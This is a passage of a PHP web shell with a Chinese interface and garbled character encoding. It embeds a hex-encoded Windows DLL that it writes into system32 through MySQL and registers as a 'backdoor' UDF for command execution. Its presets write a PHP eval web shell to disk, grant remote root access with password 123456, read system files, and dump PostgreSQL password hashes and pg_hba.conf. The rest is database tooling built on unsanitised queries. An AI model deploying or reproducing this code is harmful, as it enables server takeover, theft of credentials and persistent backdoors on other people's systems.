6B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
1564$query="INSERT into udf_temp values (CONVERT($code,CHAR));";
1565 if(!mysql_query($query, $link))
1566 {
1567 mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
1568 die('安装dll失败'.mysql_error());
1569 }
1570 else
1571 {
1572 $dllname = "mysqlDll.dll";
1573 if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll";
1574 elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll";
1575 if(file_exists($dir)) {
1576 $time = time();
1577 $dir = str_replace("mysqlDll","mysqlDll_$time",$dir);
1578 $dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname);
1579 }
1580$query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ;
1581 if(!mysql_query($query, $link))
1582 {
1583 die("安装失败:$diræ— æƒ".mysql_error());
1584 }
1585 else
1586 {
1587 echo '<font style=font:11pt color=ff0000>'.$dir.'安装æˆåŠŸ</font><br>';
1588 }
1589}
1590mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error());
1591$result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error());
1592if($result) {
1593 echo "æˆåŠŸ<br><a href='?'>返回</a>";
1594 exit();
1595}
1596}
1597}
1598$ss=stripslashes($post_sql);
1599print<<<END
1600<form method="post" action="?s=n&o=tq">
1601<textarea name="post_sql" style="width:700px;height:200px;">{$ss}</textarea><br>
1602<input name="install" type="submit" value="安装DLLåŽé—¨"> <input name="" type="submit" value="执行CMDè¯å¥"><br></form>
1603END;
1604if ($_POST[post_sql]) {
1605$link = mysql_connect ($mhost,$muser,$mpass) or die(mysql_error());
1606if($mdata) mysql_select_db($mdata,$link) or die(mysql_error());
1607$query = stripslashes($post_sql);
1608$result = mysql_query($query, $link) or die(mysql_error());
1609echo "<br><textarea name=\"post_sql\" style=\"width:700px;height:200px;\">";
1610echo ($result) ? "Done:$result\n\n" : "error:$result\n\n ".mysql_error();
1611while ($row = @mysql_fetch_array ($result)) {
1612print_r ($row);
1613}
1614}
1615echo "</textarea>";
1616}
1617else
1618{
1619 if(!empty($_POST['msql']))
1620 {
1621 $msql = $_POST['msql'];
1622 if($result = @mysql_query($msql,$conn))
1623 {
1624 $MSG_BOX = '执行SQLè¯å¥æˆåŠŸ<br>';
1625 $k = 0;
1626 while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
1627 }
1628 else $MSG_BOX .= mysql_error();
1629 }
1630print<<<END
1631<script language="javascript">
1632function nFull(i){
1633 Str = new Array(11);
1634 Str[0] = "select version();";
1635 Str[1] = "select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'";
1636 Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F://a.php';";
1637 Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
1638 nform.msql.value = Str[i];
1639 return true;
1640}
1641</script>
1642<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
1643<div class="actall">
1644<select onchange="return nFull(options[selectedIndex].value)">
1645 <option value="0" selected>显示版本</option>
1646 <option value="1">导出文件</option>
1647 <option value="2">写入文件</option>
1648 <option value="3">å¼€å¯å¤–è¿ž</option>
1649</select>
1650<input type="submit" value="执行" style="width:80px;">
1651END;
1652}
1653 if($MSG_BOX != '') echo '</div><div class="actall">'.$MSG_BOX.'</div></center></form>';
1654 else echo '</div></center></form>';
1655 return true;
1656}
1657//MYSQL管ç†
1658function Mysql_Len($data,$len)
1659{
1660 if(strlen($data) < $len) return $data;
1661 return substr_replace($data,'...',$len);
1662}
1663function Mysql_Msg()
1664{
1665 $conn = @mysql_connect($_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'],$_COOKIE['m_silicuser'],$_COOKIE['m_silicpass']);
1666 if($conn)
1667 {
1668print<<<END
1669<script language="javascript">
1670function Delok(msg,gourl)
1671{
1672 smsg = "确定è¦åˆ 除[" + unescape(msg) + "]å—?";
1673 if(confirm(smsg)){window.location = gourl;}
1674}
1675function Createok(ac)
1676{
1677 if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);';
1678 if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
1679 if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
1680 return false;
1681}
1682</script>
1683END;
1684 $BOOL = false;
1685 $MSG_BOX = '用户:'.$_COOKIE['m_silicuser'].' 地å€:'.$_COOKIE['m_silichost'].':'.$_COOKIE['m_silicport'].' 版本:';
1686 $k = 0;
1687 $result = @mysql_query('select version();',$conn);
1688 while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
1689 echo '<div class="actall"> æ•°æ®åº“:';
1690 $result = mysql_query("SHOW DATABASES",$conn);
1691 while($db = mysql_fetch_array($result)){echo ' [<a href="?s=r&db='.$db['Database'].'">'.$db['Database'].'</a>]';}
1692 echo '</div>';
1693 if(isset($_GET['db']))
1694 {
1695 mysql_select_db($_GET['db'],$conn);
1696 if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行æˆåŠŸ' : '执行失败 '.mysql_error();}
1697 if(is_array($_POST['insql']))
1698 {
1699 $query = 'INSERT INTO '.$_GET['table'].' (';
1700 foreach($_POST['insql'] as $var => $key)
1701 {
1702 $querya .= $var.',';
1703 $queryb .= '\''.addslashes($key).'\',';
1704 }
1705 $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');';
1706 $MSG_BOX = mysql_query($query,$conn) ? 'æ·»åŠ æˆåŠŸ' : 'æ·»åŠ å¤±è´¥ '.mysql_error();
1707 }
1708 if(is_array($_POST['upsql']))
1709 {
1710 $query = 'UPDATE '.$_GET['table'].' SET ';
1711 foreach($_POST['upsql'] as $var => $key)
1712 {
1713 $queryb .= $var.'=\''.addslashes($key).'\',';
1714 }
1715 $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';';
1716 $MSG_BOX = mysql_query($query,$conn) ? '修改æˆåŠŸ' : '修改失败 '.mysql_error();
1717 }
1718 if(isset($_GET['del']))
1719 {
1720 $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn);
1721 $good = mysql_fetch_assoc($result);
1722 $query = 'DELETE FROM '.$_GET['table'].' WHERE ';
1723 foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';}
1724 $where = $query.substr($queryc, 0, -4).';';
1725 $MSG_BOX = mysql_query($where,$conn) ? 'åˆ é™¤æˆåŠŸ' : 'åˆ é™¤å¤±è´¥ '.mysql_error();
1726 }
1727 $action = '?s=r&db='.$_GET['db'];
1728 if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? 'åˆ é™¤æˆåŠŸ' : 'åˆ é™¤å¤±è´¥ '.mysql_error();}
1729 if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];}
1730 if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert'];
1731 echo '<div class="actall"><form method="POST" action="'.$action.'">';
1732 echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">'.$_POST['nsql'].'</textarea> ';
1733 echo '<input type="submit" name="querysql" value="执行" style="width:60px;height:49px;"> ';
1734 echo '<input type="button" value="创建表" style="width:60px;height:49px;" onclick="Createok(\'a\')"> ';
1735 echo '<input type="button" value="创建库" style="width:60px;height:49px;" onclick="Createok(\'b\')"> ';
1736 echo '<input type="button" value="åˆ é™¤åº“" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>';
1737 echo '<div class="msgbox" style="height:40px;">'.$MSG_BOX.'</div><div class="actall"><a href="?s=r&db='.$_GET['db'].'">'.$_GET['db'].'</a> ---> ';
1738 if(isset($_GET['table']))
1739 {
1740 echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'">'.$_GET['table'].'</a> ';
1741 echo '[<a href="?s=r&db='.$_GET['db'].'&insert='.$_GET['table'].'">æ’å…¥</a>]</div>';
1742 if(isset($_GET['edit']))
1743 {
1744 if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table'];
1745 echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$atable.'">';
1746 $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn);
1747 $good = mysql_fetch_assoc($result);
1748 $u = 0;
1749 foreach($good as $var => $key)
1750 {
1751 $queryc .= $var.'=\''.$key.'\' AND ';
1752 $type = @mysql_field_type($result, $u);
1753 $len = @mysql_field_len($result, $u);
1754 echo '<div class="actall">'.$var.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="upsql['.$var.']" style="width:600px;height:60px;">'.htmlspecialchars($key).'</textarea></div>';
1755 $u++;
1756 }
1757 $where = 'WHERE '.substr($queryc, 0, -4);
1758 echo '<input type="hidden" id="wherevar" name="wherevar" value="'.base64_encode($where).'">';
1759 echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>';
1760 }
1761 else
1762 {
1763 $query = 'SHOW COLUMNS FROM '.$_GET['table'];
1764 $result = mysql_query($query,$conn);
1765 $fields = array();
1766 $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn));
1767 if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20;
1768 echo '<table border="0"><tr>';
1769 echo '<td class="toptd" style="width:70px;" nowrap>æ“作</td>';
1770 while($row = @mysql_fetch_assoc($result))
1771 {
1772 array_push($fields,$row['Field']);
1773 echo '<td class="toptd" nowrap>'.$row['Field'].'</td>';
1774 }
1775 echo '</tr>';
1776 if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;';
1777 $result = mysql_query($query,$conn);
1778 $v = $p;
1779 while($text = @mysql_fetch_assoc($result))
1780 {
1781 echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&edit='.$v.'"> 修改 </a> ';
1782 echo '<a href="#" onclick="Delok(\'它\',\'?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&del='.$v.'\');return false;"> åˆ é™¤ </a></td>';
1783 foreach($fields as $row){echo '<td>'.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'</td>';}
1784 echo '</tr>'."\r\n";$v++;
1785 }
1786 echo '</table><div class="actall">';
1787 for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? '<font color="#FF0000">'.$i.'</font>' : $i;echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$i.'">['.$k.']</a> ';}
1788 echo '</div>';
1789 }
1790 }
1791 elseif(isset($_GET['insert']))
1792 {
1793 echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">'.$_GET['insert'].'</a></div>';
1794 $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn);
1795 $fieldnum = @mysql_num_fields($result);
1796 echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">';
1797 for($i = 0;$i < $fieldnum;$i++)
1798 {
1799 $name = @mysql_field_name($result, $i);
1800 $type = @mysql_field_type($result, $i);
1801 $len = @mysql_field_len($result, $i);
1802 echo '<div class="actall">'.$name.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="insql['.$name.']" style="width:600px;height:60px;"></textarea></div>';
1803 }
1804 echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>';
1805 }
1806 else
1807 {
1808 $query = 'SHOW TABLE STATUS';
1809 $status = @mysql_query($query,$conn);
1810 while($statu = @mysql_fetch_array($status))
1811 {
1812 $statusize[] = $statu['Data_length'];
1813 $statucoll[] = $statu['Collation'];
1814 }
1815 $query = 'SHOW TABLES FROM '.$_GET['db'].';';
1816 echo '</div><table border="0"><tr>';
1817 echo '<td class="toptd" style="width:550px;"> 表å </td>';
1818 echo '<td class="toptd" style="width:80px;"> æ“作 </td>';
1819 echo '<td class="toptd" style="width:130px;"> å—符集 </td>';
1820 echo '<td class="toptd" style="width:70px;"> å¤§å° </td></tr>';
1821 $result = @mysql_query($query,$conn);
1822 $k = 0;
1823 while($table = mysql_fetch_row($result))
1824 {
1825 echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$table[0].'">'.$table[0].'</a></td>';
1826 echo '<td><a href="?s=r&db='.$_GET['db'].'&insert='.$table[0].'"> æ’å…¥ </a> <a href="#" onclick="Delok(\''.$table[0].'\',\'?s=r&db='.$_GET['db'].'&drop='.$table[0].'\');return false;"> åˆ é™¤ </a></td>';
1827 echo '<td>'.$statucoll[$k].'</td><td align="right">'.File_Size($statusize[$k]).'</td></tr>'."\r\n";
1828 $k++;
1829 }
1830 echo '</table>';
1831 }
1832 }
1833 }
1834 else die('连接MYSQL失败,请é‡æ–°ç™»é™†.<meta http-equiv="refresh" content="0;URL=?s=o">');
1835 if(!$BOOL) echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \''.addslashes($query).'\';</script>';
1836 return false;
1837}
1838//PostgreSQLæ“作
1839function Pgr_sql()
1840{
1841$pghost=$_POST['pghost'] ? $_POST['pghost']:'';
1842$pgport=$_POST['pgport'] ? $_POST['pgport']:'';
1843$pguser=$_POST['pguser'] ? $_POST['pguser']:'postgres';
1844$pgpass=$_POST['pgpass'] ? $_POST['pgpass']:'';
1845$pgdb=$_POST['pgdb'] ? $_POST['pgdb']:'postgres';
1846$pgquery=$_POST['pgsql'] ? $_POST['pgsql']:'select version()';
1847$pgquery=stripslashes($pgquery);
1848print<<<END
1849<script language="javascript">
1850function pgFull(i){
1851Str = new Array(6);
1852Str[0] = "select version();";
1853Str[1] = "select datname from pg_database;";
1854Str[2] = "select DISTINCT table_name from information_schema.columns where table_schema !='information_schema' limit 1 offset n;";
1855Str[3] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
1856Str[4] = "select usename,passwd from pg_shadow;";
1857Str[5] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
1858pgform.pgsql.value = Str[i];
1859return true;
1860}
1861</script>
1862<div class="actall">
1863<!--SQL表å•å¼€å§‹-->
1864<p style="font-size:10pt;font-family:Lucida Handwriting,Times New Roman;">
1865æœåŠ¡å™¨å’Œç«¯å£ä¸ºé€‰å¡«ï¼Œæ•°æ®åº“æ— æ³•è¿žæŽ¥æ—¶å¯å°è¯•ä¸å¡«å†™<br>
1866本脚本默认é…备的SQLè¯å¥é€‚用于PostgreSQL 8.1<br>
1867脱库请填写æ£ç¡®çš„æ•°æ®åº“å<br>
1868列表段å¯ç”¨select relname from pg_stat_user_tables limit 1 offset n;<br>
1869更多过于PostgreSQLè¯å¥å¯å‚è§<a href="http://nana.blackbap.org/?p=archive&id=55" target="_blank">[这里]</a><br><hr></p>
1870<form name="pgform" method="POST" action="?s=pq">
1871æœåŠ¡å™¨:<input type="text" name="pghost" value="{$pghost}" style="width:100px">
1872用户:<input type="text" name="pguser" value="{$pguser}" style="width:100px">
1873密ç :<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
1874æ•°æ®åº“å:<input type="text" name="pgdb" value="{$pgdb}" style="width:100px"><br><br>
1875<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
1876端å£ï¼š<input type="text" name="pgport" value="{$pgport}" style="width:50px">
1877<select onchange="return pgFull(options[selectedIndex].value)">
1878<option value="0" selected>显示版本</option>
1879<option value="1">æ•°æ®åº“</option>
1880<option value="2">表段</option>
1881<option value="3">å—段</option>
1882<option value="4">hashes</option>
1883<option value="5">pg_hb.conf</option>
1884</select>
1885<input type="hidden" name="sql" value="YoCo Smart">
1886<input type="submit" value="执行SQLè¯å¥">
1887<font style="font-size:10pt;"> <a href="http://www.baidu.com" target="_blank">Gh0st1.0</a>©2009-2012</font></form>
1888<!--SQL表å•ç»“æŸ-->
1889END;
1890if(!empty($pghost) && !empty($pgport)){
1891$conn="host=".$pghost." port=".$pgport." dbname=".$pgdb." user=".$pguser." password=".$pgpass;
1892}else{
1893$conn="dbname=".$pgdb." user=".$pguser." password=".$pgpass;
1894}
1895if(!empty($_POST['sql'])){
1896$pgconn = pg_connect($conn)
1897or die('悲剧，连ä¸ä¸Šã€‚错误信æ¯:'.pg_last_error());
1898$pgresult=pg_query($pgquery) or die('SQL执行å‘生错误:<br>'.pg_last_error());
1899$pgrow=pg_fetch_row($pgresult);
1900echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
1901for ($i=0; $i< pg_num_fields($pgresult); $i++)
1902{echo '<td><b>'.pg_field_name($pgresult, $i)."</b></td>\n";}
1903echo "</tr>\n";
1904pg_result_seek($pgresult, 0);
